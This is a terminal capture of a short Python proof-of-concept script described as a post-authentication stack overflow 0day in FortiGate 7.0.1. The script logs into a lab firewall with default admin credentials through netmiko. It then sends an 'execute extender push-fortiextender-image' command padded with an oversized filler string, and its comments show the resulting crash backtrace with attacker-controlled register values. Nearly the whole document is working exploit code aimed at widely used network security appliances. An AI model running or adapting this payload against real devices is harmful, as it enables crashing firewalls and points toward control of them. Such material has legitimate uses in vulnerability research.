c@ubuntu:~/LABS$ cat fp17.py #!/usr/bin/env python3 # fortigate 7.0.1 postauth stack overflow 0day # # more: # https://code610.blogspot.com/2023/04/fuzzing-fortigate-7.html # # Pid: 00243, application: newcli, # Firmware: FortiGate-VM64 v7.0.1,build0157b0157,210714 (GA) (Release), # Signal 6 received, Backtrace: # [0x7f498e5f16f0] [0x7f498e5f2d47] [0x7f498e633f47] [0x7f498e6c2c9e] # [0x7f498e6c2c62] [0x01f10f4d] [0x4343434342424242] # # from netmiko import Netmiko login = 'admin' passwd = 'admin' target = '192.168.56.222' fw_01 = { 'host' : target, 'username' : login, 'password' : passwd, 'device_type' : 'fortinet' } print("> connecting to the target: %s" % target) net_connect = Netmiko(**fw_01) # print( net_connect.find_prompt() ) payload = 'execute extender push-fortiextender-image ' payload += 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD' + 'F'*300 + ' asd' command = payload full_config_cmd = net_connect.send_command( command ) print(full_config_cmd) print("done")